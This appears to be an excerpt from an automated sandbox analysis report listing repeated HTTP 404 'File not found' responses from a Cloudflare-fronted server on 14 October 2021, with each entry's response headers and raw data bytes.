Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:39 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fbYEyM1Gh6WdAzvjkUrxUJ61%2BI86%2FMQWYOt736TgF8PYXX4xRDCoMqDGqnuxaI5J8NZQWEAAFQmX57qs%2BjEX9BOBANnKvqJQwuiSDuZUH%2FmkItpnH6MouMDIgY94Ubkv2Xr%2FP6LV0udfFhbt0DzGN4dYvRJYjA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfb2ffc45bdd-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:41 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tnOYS6v1%2BDryLySE0XRA3DanDggqIU5lD1efwHzLdufMHOXHG4q7dfhWoqlzoX5wDgi%2BczRB82cB78sgINYZ70528recLHfPp2P6sSiGDKYiKmOnVIaMSw3%2FJ%2FTVZtL%2FZnQlEs8dl3y5rZsfxnVPclRPmHDLkQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfbcfff06925-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:42 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0EH47MMNXBWoZhSTeJKDFH5ttH4eNOc7DIMbRM5RUcGlJfPGdlM2qgJ%2FydGTeU89PVVspTxJUD78%2FLsz4jje9NE8J9ra8L440XXrJYNDu3lHjX7Az2%2FQMSbcG0NHixWuQ8qg3I%2FvBmZH39V3W4%2BLjJC5wpkOjw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfc43f923240-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:43 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=krWVnXC%2BdefgGbNlcpBvuV%2B%2FEt1AN8TvqNCkwdnHu1u%2B%2Br4NhUyvinuefOGVyWbc9ShnhxYhW4%2BuqcpJdGFs2cOx%2Bg6Ex6pVLOOMw3MGB8imhhNCOi5JQPVnEFzH54P2wj3uTDGZgD%2B%2BgOSe36UWuNVLFTWpSw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfce38355bed-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:45 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CpHKxOLOrpPIM1PF5NEE6vUZ3l5dbYDOl6UNrbCahs5hxC4aJJGhGN7oKjrOL0BSNTAo1uQVbVx5SYG5UeeMMxOeU8B5DsuS3mvrPAdrCRib2ajEVOGtz7to8pV1YDKcBopo%2FKcmdVe3ptFDjf6kWXXiTMwHzA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfd76c86440d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:48 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xX8MVuCGjS0FNM%2FvuL2BD8nyHgscINdYF2sTG5gdSsMS3%2F808sSrsFsd18a3PVjF22lX8c6mqEJFN4gRhXrpUEkmDty5RH6trK9n7XiwuMhOgsGG0JxWNKvSSmXgx%2F38h9tCGGDosMS%2FwDye9z6hmxb7OGqF0w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debfe84d3e4309-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:49 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3nVDbQqzeq99VtQdxhWX%2Fj7fXtAJV7srTKCv221y2RZh2a%2F8IS0yw3Zf9GABw%2F42RW46cAvIOehRvvP4M6%2FyJSAId%2Bgjb24pBzUjcG3sOSc%2FJAPaXI%2FrScX7pLEjJO5mSc8ztul8%2Bxk3KF3VKTeg%2Fa5igJ67pw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debff26ef15c2c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:51 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sy0tXiUZGLf%2FShCOiRUnNRckJK1ccZE5lquOjWMUouZuuVvcp%2BfhB5GGR1S0BhIE6pVkDFG%2FzmcmHMOfWnDo6YPcj7m3%2FYYbTB4GxN%2BjA6S6jjPL6chZ1jihY6yWnxqgycQOlIXIPvuqEaE1VHcfl3z2NHMvrA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69debffaaf320621-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:52 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Z0%2F0G%2FltPrkYLGxzRCt9VdfNUMtip3rLXsYuFpJSTw2Tm%2Bkk99WneQCuJnmMJyMyxB%2FadH9hc7Nck4D5MaWnJHgR8m%2BeuWRD%2BWW1k6AEiWmmZ9D3wy1JfLuw3Xnsjx%2F97L17z30dxppqVVpdcP7o%2BEMd9GCUKw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0031f88c2c7-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:53 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=r0SNwUQXmpNoSyQjbUBF5l8GTY8SywVTmzZ8AkYzJWy0b1O3O5n7b1dHE%2BpDh78zb6iFJ%2BdNIyBnabgJCYCBp9qDa6TZYlhCr6htZEMFmSRyHaUU%2F5WZkBITRFMBZ70zlWfi%2BTeSLQBR3OnT37qPUC6HdB7R1g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec00acb8868e9-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:54 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5iKke1AJBJjg1Y4VYs826dmfarUEhJ%2BRldRquW1kfSHN%2F9pyLtsyynuFr6yDn27OBJXeF7xvTdW%2Ft8i1FIp5x0Weuf1lZLtQZXeLjxSzbBGO%2FyFV1amXpr3qEg91BlnrsxMydhByRN7hHp%2FNzcUVzgokqELeaA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0119f8505d0-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:56 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7ZERCavJqd%2FSKMbfz%2FCdLS9YwGowXmP6tmsSmcJhamaT8Ait4OW44MSZPDPU0Da0xQWD1O7rujLd4vYbmYz9A17IY8%2BGwpvDcLDsDokZqYZuqyxlqEAsXlvosJbc66ZygTYhi55wxB4l2t2Jm5O0fXdSbA4yjg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec01a8bea1f31-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:57 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O5KNJiSYA%2FFwVwmEIc9wb3cwwX%2FatGRb1JUO%2Bz%2BO1X6dOTVK5OasGDuojIDlalGExPnvGUgm4%2BBjy6wcTbge3HFAtucsxDcKdwQEvnp1sBeGdfQVSDQonetbCFSY%2BgvOrCkvkI7mREs82y4gLDOZB6jrrwpPJA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0238f384df4-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:28:59 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DM7UDqfrOC0u1TfBnQ6rtX30q18tMXbF5JIb91n%2BbGCB6ZdVbFXYS95wCnHdXiccXK3L6LtGQvYayuHRvdRXTsx%2Bp%2F8MP1IOTYSnqgQ1RzzD0YUpci6oZfH4e%2BVOk7%2BgeLA12NXL%2BrdcTTN7OA8MSANsnvfhKw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec02c0d56695b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:00 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6pzxxxAx7m5C%2BvI0HV9vpq2v%2FMh%2FQtCUhiuQVfVDamOYlWTH%2Fi66M79yyl7xYeat0IDW%2FErpRaBlSviuH6N5w1T51LJh6ilhSkpq5iiAXlGSkcN%2F0RFH%2B4gKfqMyKqrLMrZ%2F9KQlOg0PnfcEYBS9mMuv2oXUEw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec034ea085c38-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:01 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RwxyEXrfJWD7HzQsJLaaJ4ykrDR%2FXfvMae8i0xj3UPR%2Bl89OWY%2FzFHl6zIsjt3MczmsMNyXqydAx4kl6J4imX5JAkkeop22%2Bp9dS34N1vYjp83Fzoam6oRK%2Bx64oqTTVoWsVbFiS6fNE%2F4OFRWqA4k1a9wK%2Feg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec03d7f2c3250-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:03 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=91AmIffLnKe4Pbncz7KrUdCC7%2FIC1zkuoHQN1JfssoGk24gGXGVgK%2FfjSd%2BRFPNjQzfYkOwMtC%2FXqL%2BrxK2TSNEenBHg5Mzc%2Fbxkf4%2Fw%2FzewmKsOYKbBYCwux31XnGOv3FNqWKnELOMAweMsH1mdlUR0lqprnw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0464cd51772-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:06 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vcIT0xtrtdVqZu8AstBfvjAOVLZeU0jJkIg51LaEYzt2WcaP0aINNFdyPyzHGCi%2BFUn%2Bt9DitNetNAaC7a2WU1CkIz4esUAOdjvWe6RoWWH3jxFIhJPzOheLtuS4TLQLSt5M8LPLyDNCbhVFlEiI3yXDVeNVew%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec059aa9618e5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:07 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AsF%2F42rJeMS4o1jyaWpX5rcN1C7%2BwlYe9QyAvadZhUprUUDjjvl2mBaUHv2qSzvsM16RfVyDjciOwaQ0dYaMDLZXn9BBMNQ78ci9geDbIWxYBOq%2Ff7WlFnJZqgqdZEFqzws6tXcgPBAa0hiRMJyXMKzh%2BY5Kzw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0621a7342f1-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:08 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AETlKv0JLdUaJlMFIYw4c%2FUS3KY3jsZfqgBBcqkQPH7kBiRqISjQcPL9%2F6EycOt8Q0b%2BrCiBpVWf2JTuaTeRvPun%2BVdjS3dtjl0255v8MUhEF3A8ouzlFjwM9m5wMuIPxpMuRcbOokOsnygMEGf%2FVwZGMBD6qw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0698d3268e5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:10 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=erKQyQL4NJDpVARn6gPTghRshW34aWgx999kFto0hxMgvDWKpjzkg8Ub9PghJyk1Z5TjvoNbgssstoLWvM30lY7gyqwlTQwOwpeLID12mO81PbUOzRbpTH9BULjM1lW%2FOKhQiir%2FSFqgaO1xg4olF%2FOm%2FEl05Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec070fbf74e98-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:11 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FYS21KNhhPKeyLYemwqTO7CJfgOLB%2BcE8nmbaXZezuXpmbCfYbooJZGrTK1I2wCAIGGXi7Mmgbbcm9cTp0SlhyncjZPkn5v4lky0Kk4tKiYowD6Fp1RjLa2jaLWKfS7dODQ0ElVEAkA4Fmys4RO0oXOblnwXng%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0788baf7049-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:12 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B2qI3uPr1SHaFu9HAlyv12q%2Fhc2IMayWd%2Bj1fcV0AkZcaVue84gdm%2F7cQrR6vLY0VY7KYJBbWGLpWPtzrfM9eaBQPFNmCRI7TpAHhLrs47U15LbrrJR0WJX9Oc%2Bk59NVPnfHDIGNV6BI%2BfF99GVheeaXjWvcKA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0803a323128-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:13 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vLfAG7fmX6CyxJzEk0O%2FBmg16SmrBE5YBS%2BRqup8BBlwc6IKUiq47jBhstgYikzkzMesviFQn6p1zW4GFv1I33WYuGftqKKV0g1GwmVoOI9dfpmoaBmAp7BfaYYlwjL6gInDoblSgql%2F6c1Q%2FtwThQC5OxPEAg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec088686f5c38-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:15 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vIoJjlpOUB4ch8A9vB%2FKQqgVGqG%2FBMM%2BfQzehosuEFSNQFo0gE9WIhQc2ZWAsVfi803z79IZC7COD7vw7q3ZvK9f7Lpn0xBwaC95bSAWCuYNsNId8NhJwwCkVxQHYxnxd4FRF8MJkTCEfItWcIZzhdJYp6PXZw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec091ad1b4aaa-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:16 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B6WLQ0YL6zFlWhHgnt6U6cMjNqhg5htzjtx%2FJ7jjaqAcyvmGs5vvqQFzydOJ0caWu3xNVdyUaeMy0GV8mS37gvIqcjdOZZ0esg5rlfOM%2FG%2FhL%2Bsg9F9ZhQbRtpEBXBQq5liRP8vYQAFgvHT%2FvZ5gZZtn75E7xw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec09b293e5be5-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:18 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NEEHx%2BkmIT9asVndpNXR1AoGjnCHChsMAYShF5yGwYqEj%2FgJsdB0Mx0KbcltXiFP56kkMvROqu%2FHNChiSzQKeS2N34dJxa42lt0RG86mw%2F6702IFnVtlIfN7UOJyiytUwY3ivfQHS555wFEzMe%2FIT1fowiWd1w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0a39b634e8b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 14 Oct 2021 06:29:20 GMTContent-Type: text/html; charset=UTF-8Connection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4smlu4lSWaMUj8PWc%2BGpmke%2BENRvCwicQAhGufEzY4Xwa7kc3y6YhyyyYu%2BwPR0zEsPEe1hN0%2BiA2kWHr%2FJE%2BXajyLuEfTCC38E6%2FySGXkOUU0sGE9B9d2NunzFnN9Jpxmznzq%2BWLqFLCc88Y6o8kCh%2BJdWbng%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 69dec0b28e524e5c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
